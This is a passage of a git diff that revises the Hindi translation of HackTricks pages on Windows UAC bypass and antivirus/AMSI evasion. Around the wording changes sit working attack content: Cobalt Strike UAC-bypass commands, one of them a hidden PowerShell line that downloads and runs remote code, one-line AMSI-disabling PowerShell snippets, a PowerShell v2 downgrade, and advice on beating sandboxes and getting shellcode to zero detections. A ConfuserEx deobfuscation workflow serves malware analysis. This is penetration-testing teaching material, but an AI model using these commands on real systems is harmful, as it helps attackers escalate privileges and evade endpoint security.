 ### **बहुत** बुनियादी UAC "बायपास" (पूर्ण फ़ाइल प्रणाली पहुंच)
 
-यदि आपके पास एक शेल है जिसमें एक उपयोगकर्ता है जो Administrators समूह के अंदर है, तो आप **C$** साझा को SMB (फ़ाइल प्रणाली) के माध्यम से एक नए डिस्क में स्थानीय रूप से **माउंट** कर सकते हैं और आपको **फ़ाइल प्रणाली के अंदर सब कुछ तक पहुंच** प्राप्त होगी (यहां तक कि Administrator का होम फ़ोल्डर)।
+यदि आपके पास एक शेल है जिसमें एक उपयोगकर्ता है जो Administrators समूह के अंदर है, तो आप **C$** साझा को SMB (फ़ाइल प्रणाली) के माध्यम से एक नए डिस्क में **माउंट कर सकते हैं** और आपको **फ़ाइल प्रणाली के अंदर सब कुछ तक पहुंच प्राप्त होगी** (यहां तक कि Administrator का होम फ़ोल्डर)।
 
 > [!WARNING]
 > **लगता है कि यह ट्रिक अब काम नहीं कर रही है**
@@ -119,7 +125,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop
 ```
 ### UAC बायपास कोबाल्ट स्ट्राइक के साथ
 
-कोबाल्ट स्ट्राइक तकनीकें केवल तभी काम करेंगी जब UAC को इसके अधिकतम सुरक्षा स्तर पर सेट नहीं किया गया हो।
+कोबाल्ट स्ट्राइक तकनीकें केवल तभी काम करेंगी जब UAC अपनी अधिकतम सुरक्षा स्तर पर सेट न हो।
 ```bash
 # UAC bypass via token duplication
 elevate uac-token-duplication [listener_name]
@@ -135,14 +141,14 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 
 ### KRBUACBypass
 
-Documentation और tool [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) में है।
+Documentation and tool in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
 
 ### UAC bypass exploits
 
 [**UACME** ](https://github.com/hfiref0x/UACME) जो कई UAC bypass exploits का **संकलन** है। ध्यान दें कि आपको **UACME को visual studio या msbuild का उपयोग करके संकलित** करना होगा। संकलन कई executables (जैसे `Source\Akagi\outout\x64\Debug\Akagi.exe`) बनाएगा, आपको यह जानना होगा कि **आपको कौन सा चाहिए।**\
 आपको **सावधान रहना चाहिए** क्योंकि कुछ bypasses **कुछ अन्य प्रोग्रामों को प्रॉम्प्ट** करेंगे जो **उपयोगकर्ता** को सूचित करेंगे कि कुछ हो रहा है।
 
-UACME में **निर्माण संस्करण है जिससे प्रत्येक तकनीक काम करना शुरू हुई**। आप अपने संस्करणों को प्रभावित करने वाली तकनीक के लिए खोज कर सकते हैं:
+UACME में **निर्माण संस्करण है जिससे प्रत्येक तकनीक काम करना शुरू हुई**। आप अपनी संस्करणों को प्रभावित करने वाली तकनीक के लिए खोज कर सकते हैं:
 ```
 PS C:\> [environment]::OSVersion.Version
 
@@ -154,9 +160,9 @@ Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pag
 
 #### More UAC bypass
 
-**सभी** तकनीकें जो यहाँ AUC को बायपास करने के लिए उपयोग की जाती हैं **एक पूर्ण इंटरैक्टिव शेल** के साथ पीड़ित की **आवश्यकता** होती हैं (एक सामान्य nc.exe शेल पर्याप्त नहीं है)।
+**सभी** तकनीकें जो यहाँ AUC को बायपास करने के लिए उपयोग की जाती हैं **एक पूर्ण इंटरैक्टिव शेल** की **आवश्यकता** होती है (एक सामान्य nc.exe शेल पर्याप्त नहीं है)।
 
-आप **meterpreter** सत्र का उपयोग करके प्राप्त कर सकते हैं। एक **प्रक्रिया** में माइग्रेट करें जिसका **सत्र** मान **1** के बराबर है:
+आप एक **meterpreter** सत्र का उपयोग करके प्राप्त कर सकते हैं। उस **प्रक्रिया** में माइग्रेट करें जिसका **सत्र** मान **1** के बराबर है:
 
 ![](<../../images/image (863).png>)
 
@@ -166,11 +172,11 @@ Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pag
 
 यदि आपके पास **GUI** तक पहुंच है, तो आप जब UAC प्रॉम्प्ट प्राप्त करते हैं तो आप बस इसे स्वीकार कर सकते हैं, आपको वास्तव में इसे बायपास करने की आवश्यकता नहीं है। इसलिए, GUI तक पहुंच प्राप्त करना आपको UAC को बायपास करने की अनुमति देगा।
 
-इसके अलावा, यदि आप एक GUI सत्र प्राप्त करते हैं जिसका कोई और उपयोग कर रहा था (संभवतः RDP के माध्यम से) तो वहाँ **कुछ उपकरण होंगे जो व्यवस्थापक के रूप में चल रहे होंगे** जहाँ से आप **cmd** को उदाहरण के लिए **व्यवस्थापक** के रूप में सीधे चला सकते हैं बिना UAC द्वारा फिर से प्रॉम्प्ट किए गए जैसे [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)। यह थोड़ा अधिक **गुप्त** हो सकता है।
+इसके अलावा, यदि आपको एक GUI सत्र मिलता है जिसका कोई और उपयोग कर रहा था (संभवतः RDP के माध्यम से) तो वहाँ **कुछ उपकरण होंगे जो व्यवस्थापक के रूप में चल रहे होंगे** जहाँ से आप **cmd** को उदाहरण के लिए **व्यवस्थापक** के रूप में सीधे चला सकते हैं बिना UAC द्वारा फिर से प्रॉम्प्ट किए गए जैसे [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)। यह थोड़ा अधिक **गुप्त** हो सकता है।
 
 ### Noisy brute-force UAC bypass
 
-यदि आपको शोर करने की परवाह नहीं है, तो आप हमेशा **कुछ ऐसा चला सकते हैं** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) जो **अनुमतियों को बढ़ाने के लिए पूछता है जब तक कि उपयोगकर्ता इसे स्वीकार नहीं करता**।
+यदि आपको शोर करने की परवाह नहीं है, तो आप हमेशा **कुछ ऐसा चला सकते हैं** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) जो **अनुमतियों को बढ़ाने के लिए पूछता है जब तक उपयोगकर्ता इसे स्वीकार नहीं करता**।
 
 ### Your own bypass - Basic UAC bypass methodology
 
@@ -181,10 +187,10 @@ Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pag
 3. आपको संभवतः कुछ **संरक्षित पथों** (जैसे C:\Windows\System32) के अंदर DLL **लिखने** की आवश्यकता होगी जहाँ आपके पास लिखने की अनुमति नहीं है। आप इसे बायपास कर सकते हैं:
    1. **wusa.exe**: Windows 7, 8 और 8.1। यह संरक्षित पथों के अंदर CAB फ़ाइल की सामग्री को निकालने की अनुमति देता है (क्योंकि यह उपकरण उच्च अखंडता स्तर से निष्पादित होता है)।
    2. **IFileOperation**: Windows 10।
-4. संरक्षित पथ के अंदर अपने DLL को कॉपी करने और कमजोर और ऑटोएलीवेटेड बाइनरी को निष्पादित करने के लिए एक **स्क्रिप्ट** तैयार करें।
+4. अपने DLL को संरक्षित पथ के अंदर कॉपी करने और कमजोर और ऑटोएलीवेटेड बाइनरी को निष्पादित करने के लिए एक **स्क्रिप्ट** तैयार करें।
 
 ### Another UAC bypass technique
 
-इसमें यह देखना शामिल है कि क्या एक **autoElevated binary** **पंजीकरण** से **बाइनरी** या **कमांड** के **नाम/पथ** को **पढ़ने** की कोशिश करता है जिसे **निष्पादित** किया जाना है (यह अधिक दिलचस्प है यदि बाइनरी इस जानकारी को **HKCU** के अंदर खोजता है)।
+इसमें यह देखना शामिल है कि क्या एक **autoElevated binary** **पंजीकरण** से **नाम/पथ** को **पढ़ने** की कोशिश करता है एक **बाइनरी** या **कमांड** को **निष्पादित** करने के लिए (यह अधिक दिलचस्प है यदि बाइनरी इस जानकारी को **HKCU** के अंदर खोजता है)।
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md
index 556919b20..5379a833f 100644
--- a/src/windows-hardening/av-bypass.md
+++ b/src/windows-hardening/av-bypass.md
@@ -12,15 +12,15 @@
 
 ## **AV Evasion Methodology**
 
-वर्तमान में, AV विभिन्न तरीकों का उपयोग करते हैं यह जांचने के लिए कि क्या एक फ़ाइल दुर्भावनापूर्ण है या नहीं, स्थिर पहचान, गतिशील विश्लेषण, और अधिक उन्नत EDRs के लिए, व्यवहारात्मक विश्लेषण।
+वर्तमान में, AV विभिन्न तरीकों का उपयोग करते हैं यह जांचने के लिए कि क्या एक फ़ाइल दुर्भावनापूर्ण है या नहीं, स्थैतिक पहचान, गतिशील विश्लेषण, और अधिक उन्नत EDRs के लिए, व्यवहारात्मक विश्लेषण।
 
 ### **Static detection**
 
-स्थिर पहचान ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स या बाइट्स के एरे को एक बाइनरी या स्क्रिप्ट में फ्लैग करके प्राप्त की जाती है, और फ़ाइल से जानकारी निकालने के लिए (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्हें शायद विश्लेषित किया गया है और दुर्भावनापूर्ण के रूप में फ्लैग किया गया है। इस प्रकार की पहचान को पार करने के कुछ तरीके हैं:
+स्थैतिक पहचान ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स या बाइट्स के एरे को एक बाइनरी या स्क्रिप्ट में फ्लैग करके प्राप्त की जाती है, और फ़ाइल से जानकारी निकालने के लिए (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्हें शायद विश्लेषित किया गया है और दुर्भावनापूर्ण के रूप में फ्लैग किया गया है। इस प्रकार की पहचान को बायपास करने के कुछ तरीके हैं:
 
 - **Encryption**
 
-यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV के लिए आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको मेमोरी में प्रोग्राम को डिक्रिप्ट और चलाने के लिए किसी प्रकार के लोडर की आवश्यकता होगी।
+यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV के लिए आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको प्रोग्राम को मेमोरी में डिक्रिप्ट और चलाने के लिए किसी प्रकार के लोडर की आवश्यकता होगी।
 
 - **Obfuscation**
 
@@ -31,13 +31,13 @@
 यदि आप अपने स्वयं के उपकरण विकसित करते हैं, तो कोई ज्ञात बुरा हस्ताक्षर नहीं होगा, लेकिन इसके लिए बहुत समय और प्रयास की आवश्यकता होती है।
 
 > [!TIP]
-> Windows Defender की स्थिर पहचान के खिलाफ जांचने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूल रूप से फ़ाइल को कई खंडों में विभाजित करता है और फिर Defender को प्रत्येक को व्यक्तिगत रूप से स्कैन करने के लिए कहता है, इस तरह, यह आपको सटीक रूप से बता सकता है कि आपके बाइनरी में कौन सी फ्लैग की गई स्ट्रिंग्स या बाइट्स हैं।
+> Windows Defender की स्थैतिक पहचान के खिलाफ जांचने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूल रूप से फ़ाइल को कई खंडों में विभाजित करता है और फिर Defender को प्रत्येक को व्यक्तिगत रूप से स्कैन करने के लिए कहता है, इस तरह, यह आपको सटीक रूप से बता सकता है कि आपके बाइनरी में कौन सी फ्लैग की गई स्ट्रिंग्स या बाइट्स हैं।
 
 मैं अत्यधिक अनुशंसा करता हूँ कि आप इस [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) को व्यावहारिक AV Evasion के बारे में देखें।
 
 ### **Dynamic analysis**
 
-गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और दुर्भावनापूर्ण गतिविधियों की निगरानी करता है (जैसे आपके ब्राउज़र के पासवर्ड को डिक्रिप्ट और पढ़ने की कोशिश करना, LSASS पर मिनीडंप करना, आदि)। इस भाग के साथ काम करना थोड़ा कठिन हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स को पार करने के लिए कर सकते हैं।
+गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और दुर्भावनापूर्ण गतिविधियों की निगरानी करता है (जैसे आपके ब्राउज़र के पासवर्ड को डिक्रिप्ट और पढ़ने की कोशिश करना, LSASS पर मिनीडंप करना, आदि)। इस भाग के साथ काम करना थोड़ा कठिन हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स को बायपास करने के लिए कर सकते हैं।
 
 - **Sleep before execution** इसे लागू करने के तरीके के आधार पर, यह AV के गतिशील विश्लेषण को बायपास करने का एक शानदार तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के कार्यप्रवाह में बाधा न आए, इसलिए लंबे स्लीप का उपयोग बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV के सैंडबॉक्स स्लीप को छोड़ सकते हैं, यह इस बात पर निर्भर करता है कि इसे कैसे लागू किया गया है।
 - **Checking machine's resources** आमतौर पर सैंडबॉक्स के पास काम करने के लिए बहुत कम संसाधन होते हैं (जैसे < 2GB RAM), अन्यथा वे उपयोगकर्ता की मशीन को धीमा कर सकते हैं। आप यहाँ बहुत रचनात्मक भी हो सकते हैं, उदाहरण के लिए CPU के तापमान या यहां तक कि फैन स्पीड की जांच करके, सब कुछ सैंडबॉक्स में लागू नहीं होगा।
@@ -51,11 +51,11 @@
 
 

Red Team VX Discord #malware-dev चैनल

-जैसा कि हमने इस पोस्ट में पहले कहा है, **सार्वजनिक उपकरण** अंततः **पकड़े जाएंगे**, इसलिए, आपको अपने आप से कुछ पूछना चाहिए: +जैसा कि हमने इस पोस्ट में पहले कहा, **सार्वजनिक उपकरण** अंततः **पकड़े जाएंगे**, इसलिए, आपको अपने आप से कुछ पूछना चाहिए: उदाहरण के लिए, यदि आप LSASS को डंप करना चाहते हैं, **क्या आपको वास्तव में mimikatz का उपयोग करने की आवश्यकता है**? या क्या आप एक अलग प्रोजेक्ट का उपयोग कर सकते हैं जो कम ज्ञात है और LSASS को भी डंप करता है। -सही उत्तर शायद बाद वाला है। mimikatz को एक उदाहरण के रूप में लेते हुए, यह शायद AVs और EDRs द्वारा सबसे अधिक फ्लैग की गई मैलवेयर में से एक है, जबकि प्रोजेक्ट स्वयं सुपर कूल है, इसके साथ AVs को पार करने के लिए काम करना एक बुरा सपना है, इसलिए बस आप जो हासिल करने की कोशिश कर रहे हैं उसके लिए विकल्पों की तलाश करें। +सही उत्तर शायद बाद वाला है। mimikatz को एक उदाहरण के रूप में लेते हुए, यह शायद AVs और EDRs द्वारा सबसे अधिक फ्लैग की गई मैलवेयर में से एक है, जबकि प्रोजेक्ट स्वयं सुपर कूल है, इसके साथ AVs को बायपास करने के लिए काम करना एक बुरा सपना है, इसलिए बस आप जो हासिल करने की कोशिश कर रहे हैं उसके लिए विकल्पों की तलाश करें। > [!TIP] > जब आप अपने पैलोड्स को बायपास के लिए संशोधित करते हैं, तो सुनिश्चित करें कि **डिफेंडर में स्वचालित नमूना सबमिशन बंद करें**, और कृपया, गंभीरता से, **VIRUSTOTAL पर अपलोड न करें** यदि आपका लक्ष्य लंबे समय में बायपास प्राप्त करना है। यदि आप यह जांचना चाहते हैं कि क्या आपका पैलोड किसी विशेष AV द्वारा पकड़ा जाता है, तो इसे एक VM पर इंस्टॉल करें, स्वचालित नमूना सबमिशन बंद करने की कोशिश करें, और वहां परीक्षण करें जब तक कि आप परिणाम से संतुष्ट न हों। @@ -64,7 +64,7 @@ जब भी संभव हो, हमेशा **बायपास के लिए DLLs का उपयोग करने को प्राथमिकता दें**, मेरे अनुभव में, DLL फ़ाइलें आमतौर पर **बहुत कम पहचानी जाती हैं** और विश्लेषित की जाती हैं, इसलिए यह कुछ मामलों में पहचान से बचने के लिए उपयोग करने के लिए एक बहुत सरल चाल है (यदि आपके पैलोड में किसी तरह से DLL के रूप में चलने का तरीका है तो निश्चित रूप से)। -जैसा कि हम इस छवि में देख सकते हैं, Havoc का एक DLL पैलोड antiscan.me में 4/26 की पहचान दर रखता है, जबकि EXE पैलोड की पहचान दर 7/26 है। +जैसा कि हम इस छवि में देख सकते हैं, Havoc का एक DLL पैलोड antiscan.me पर 4/26 की पहचान दर रखता है, जबकि EXE पैलोड की पहचान दर 7/26 है।

antiscan.me पर सामान्य Havoc EXE पैलोड बनाम सामान्य Havoc DLL की तुलना

@@ -106,7 +106,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija ```
-हमारा शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा। +हमारा शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन रेट है! मैं इसे एक सफलता कहूंगा।
@@ -137,11 +137,11 @@ AMSI सुविधा Windows के इन घटकों में एक - उपयोगकर्ता खाता नियंत्रण, या UAC (EXE, COM, MSI, या ActiveX स्थापना का उन्नयन) - PowerShell (स्क्रिप्ट, इंटरैक्टिव उपयोग, और गतिशील कोड मूल्यांकन) -- Windows स्क्रिप्ट होस्ट (wscript.exe और cscript.exe) +- Windows Script Host (wscript.exe और cscript.exe) - JavaScript और VBScript - Office VBA मैक्रोज़ -यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है, स्क्रिप्ट सामग्री को एक रूप में उजागर करके जो न तो एन्क्रिप्टेड है और न ही अस्पष्ट। +यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है, जो स्क्रिप्ट सामग्री को एक रूप में उजागर करता है जो न तो एन्क्रिप्टेड है और न ही अस्पष्ट। `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` चलाने पर Windows Defender पर निम्नलिखित अलर्ट उत्पन्न होगा। @@ -151,7 +151,7 @@ AMSI सुविधा Windows के इन घटकों में एक हमने डिस्क पर कोई फ़ाइल नहीं गिराई, लेकिन फिर भी AMSI के कारण मेमोरी में पकड़े गए। -इसके अलावा, **.NET 4.8** से शुरू होकर, C# कोड भी AMSI के माध्यम से चलाया जाता है। यह `Assembly.Load(byte[])` को मेमोरी में निष्पादन के लिए लोड करने को प्रभावित करता है। यही कारण है कि यदि आप AMSI से बचना चाहते हैं तो मेमोरी में निष्पादन के लिए .NET के निम्न संस्करणों (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सिफारिश की जाती है। +इसके अलावा, **.NET 4.8** से शुरू होकर, C# कोड भी AMSI के माध्यम से चलाया जाता है। यह `Assembly.Load(byte[])` को मेमोरी में निष्पादन लोड करने पर भी प्रभाव डालता है। इसलिए यदि आप AMSI से बचना चाहते हैं तो मेमोरी में निष्पादन के लिए .NET के निम्न संस्करणों (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सिफारिश की जाती है। AMSI को बायपास करने के कुछ तरीके हैं: @@ -171,7 +171,7 @@ AMSI प्रारंभिककरण को विफल (amsiInitFailed) ```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` -बस एक पंक्ति का powershell कोड AMSI को वर्तमान powershell प्रक्रिया के लिए अनुपयोगी बनाने के लिए आवश्यक था। इस पंक्ति को निश्चित रूप से AMSI द्वारा ही चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है। +बस एक पंक्ति का powershell कोड AMSI को वर्तमान powershell प्रक्रिया के लिए अनुपयोगी बनाने के लिए आवश्यक था। इस पंक्ति को निश्चित रूप से AMSI द्वारा चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है। यहां एक संशोधित AMSI बायपास है जो मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है। ```bash @@ -196,19 +196,19 @@ $Spotfix.SetValue($null,$true) > [!TIP] > कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें। -AMSI को बायपास करने के लिए PowerShell का उपयोग करने के लिए कई अन्य तकनीकें भी हैं, [**इस पृष्ठ**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**इस रेपो**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं और उनके बारे में अधिक जानें। +AMSI को बायपास करने के लिए PowerShell का उपयोग करने के लिए कई अन्य तकनीकें भी हैं, [**इस पृष्ठ**](basic-powershell-for-pentesters/index.html#amsi-bypass) और [**इस रेपो**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं ताकि उनके बारे में अधिक जान सकें। यह उपकरण [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) भी AMSI को बायपास करने के लिए स्क्रिप्ट उत्पन्न करता है। -**Remove the detected signature** +**Detected signature को हटाएं** -आप **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** और **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** जैसे उपकरणों का उपयोग करके वर्तमान प्रक्रिया की मेमोरी से पहचानी गई AMSI सिग्नेचर को हटा सकते हैं। यह उपकरण वर्तमान प्रक्रिया की मेमोरी में AMSI सिग्नेचर को स्कैन करके और फिर इसे NOP निर्देशों के साथ ओवरराइट करके प्रभावी रूप से इसे मेमोरी से हटा देता है। +आप **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** और **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** जैसे उपकरणों का उपयोग करके वर्तमान प्रक्रिया की मेमोरी से पहचानी गई AMSI सिग्नेचर को हटा सकते हैं। यह उपकरण वर्तमान प्रक्रिया की मेमोरी में AMSI सिग्नेचर को स्कैन करके और फिर इसे NOP निर्देशों के साथ ओवरराइट करके काम करता है, प्रभावी रूप से इसे मेमोरी से हटा देता है। -**AV/EDR products that uses AMSI** +**AMSI का उपयोग करने वाले AV/EDR उत्पाद** -आप **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** में AMSI का उपयोग करने वाले AV/EDR उत्पादों की एक सूची पा सकते हैं। +आप **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** में AMSI का उपयोग करने वाले AV/EDR उत्पादों की सूची पा सकते हैं। -**Use Powershell version 2** +**Powershell संस्करण 2 का उपयोग करें** यदि आप PowerShell संस्करण 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने स्क्रिप्ट को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप ऐसा कर सकते हैं: ```bash powershell.exe -version 2 @@ -232,7 +232,7 @@ PowerShell लॉगिंग को बायपास करने के ल जब ConfuserEx 2 (या व्यावसायिक फोर्क) का उपयोग करने वाले मैलवेयर का विश्लेषण करते हैं, तो कई सुरक्षा परतों का सामना करना सामान्य है जो डिकंपाइलर्स और सैंडबॉक्स को ब्लॉक कर देंगी। नीचे दिया गया वर्कफ़्लो विश्वसनीय रूप से **एक लगभग-मूल IL को पुनर्स्थापित करता है** जिसे बाद में dnSpy या ILSpy जैसे टूल में C# में डिकंपाइल किया जा सकता है। -1. एंटी-टैम्पर हटाना – ConfuserEx हर *मेथड बॉडी* को एन्क्रिप्ट करता है और इसे *मॉड्यूल* स्थैतिक कंस्ट्रक्टर (`.cctor`) के अंदर डिक्रिप्ट करता है। यह PE चेकसम को भी पैच करता है ताकि कोई भी संशोधन बाइनरी को क्रैश कर दे। **AntiTamperKiller** का उपयोग करें ताकि एन्क्रिप्टेड मेटाडेटा टेबल्स को ढूंढा जा सके, XOR कुंजियों को पुनर्प्राप्त किया जा सके और एक साफ असेंबली को फिर से लिखा जा सके: +1. एंटी-टैम्पर हटाना – ConfuserEx हर *मेथड बॉडी* को एन्क्रिप्ट करता है और इसे *मॉड्यूल* स्थैतिक कंस्ट्रक्टर (`.cctor`) के अंदर डिक्रिप्ट करता है। यह PE चेकसम को भी पैच करता है ताकि कोई भी संशोधन बाइनरी को क्रैश कर दे। **AntiTamperKiller** का उपयोग करें ताकि एन्क्रिप्टेड मेटाडेटा तालिकाओं को ढूंढा जा सके, XOR कुंजियों को पुनर्प्राप्त किया जा सके और एक साफ असेंबली को फिर से लिखा जा सके: ```bash # https://github.com/wwh1004/AntiTamperKiller python AntiTamperKiller.py Confused.exe Confused.clean.exe @@ -245,7 +245,7 @@ de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe ``` फ्लैग: • `-p crx` – ConfuserEx 2 प्रोफ़ाइल का चयन करें -• de4dot नियंत्रण-प्रवाह समतलीकरण को पूर्ववत करेगा, मूल नामस्थान, कक्षाएँ और चर नामों को पुनर्स्थापित करेगा और स्थायी स्ट्रिंग्स को डिक्रिप्ट करेगा। +• de4dot नियंत्रण-प्रवाह समतलीकरण को पूर्ववत करेगा, मूल नामस्थान, वर्ग और चर नामों को पुनर्स्थापित करेगा और स्थायी स्ट्रिंग्स को डिक्रिप्ट करेगा। 3. प्रॉक्सी-कॉल स्ट्रिपिंग – ConfuserEx प्रत्यक्ष मेथड कॉल को हल्के रैपर (जिसे *प्रॉक्सी कॉल* भी कहा जाता है) के साथ बदलता है ताकि डिकंपाइलिंग को और तोड़ सके। उन्हें **ProxyCall-Remover** के साथ हटा दें: ```bash @@ -253,9 +253,9 @@ ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe ``` इस चरण के बाद आपको सामान्य .NET API जैसे `Convert.FromBase64String` या `AES.Create()` देखना चाहिए बजाय अपारदर्शी रैपर फ़ंक्शंस (`Class8.smethod_10`, …) के। -4. मैनुअल सफाई – परिणामस्वरूप बाइनरी को dnSpy के तहत चलाएँ, बड़े Base64 ब्लॉब्स या `RijndaelManaged`/`TripleDESCryptoServiceProvider` के उपयोग के लिए खोजें ताकि *वास्तविक* पेलोड को ढूंढा जा सके। अक्सर मैलवेयर इसे `.byte_0` के अंदर प्रारंभिक TLV-कोडित बाइट एरे के रूप में संग्रहीत करता है। +4. मैनुअल सफाई – परिणामस्वरूप बाइनरी को dnSpy के तहत चलाएं, बड़े Base64 ब्लॉब्स या `RijndaelManaged`/`TripleDESCryptoServiceProvider` के उपयोग के लिए खोजें ताकि *वास्तविक* पेलोड को ढूंढा जा सके। अक्सर मैलवेयर इसे `.byte_0` के अंदर प्रारंभिक TLV-कोडित बाइट एरे के रूप में संग्रहीत करता है। -उपरोक्त श्रृंखला निष्क्रिय नमूने को चलाए बिना निष्पादन प्रवाह को पुनर्स्थापित करती है – ऑफ़लाइन वर्कस्टेशन पर काम करते समय उपयोगी। +उपरोक्त श्रृंखला निष्क्रिय नमूने को चलाने की आवश्यकता के बिना निष्पादन प्रवाह को पुनर्स्थापित करती है - ऑफ़लाइन वर्कस्टेशन पर काम करते समय उपयोगी। > 🛈 ConfuserEx एक कस्टम एट्रिब्यूट उत्पन्न करता है जिसका नाम `ConfusedByAttribute` है जिसे IOC के रूप में उपयोग किया जा सकता है ताकि स्वचालित रूप से नमूनों की प्राथमिकता दी जा सके। @@ -267,7 +267,7 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** - [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस प्रोजेक्ट का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सूट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड ऑबफस्केशन]() और टेम्पर-प्रूफिंग के माध्यम से सॉफ़्टवेयर सुरक्षा बढ़ा सके। -- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी उपकरण का उपयोग किए और बिना संकलक को संशोधित किए, ऑबफस्केटेड कोड कैसे उत्पन्न किया जा सकता है। +- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी उपकरण का उपयोग किए और संकलक को संशोधित किए बिना, ऑबफस्केटेड कोड कैसे उत्पन्न किया जा सकता है। - [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा उत्पन्न ऑबफस्केटेड ऑपरेशनों की एक परत जोड़ें जो एप्लिकेशन को क्रैक करने की कोशिश कर रहे व्यक्ति के लिए जीवन को थोड़ा कठिन बना देगी। - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी ऑबफस्केटर है जो विभिन्न प्रकार की pe फ़ाइलों को ऑबफस्केट करने में सक्षम है, जिसमें: .exe, .dll, .sys शामिल हैं। - [**metame**](https://github.com/a0rtega/metame): Metame एक साधारण मेटामॉर्फिक कोड इंजन है जो मनमाने निष्पादन योग्य के 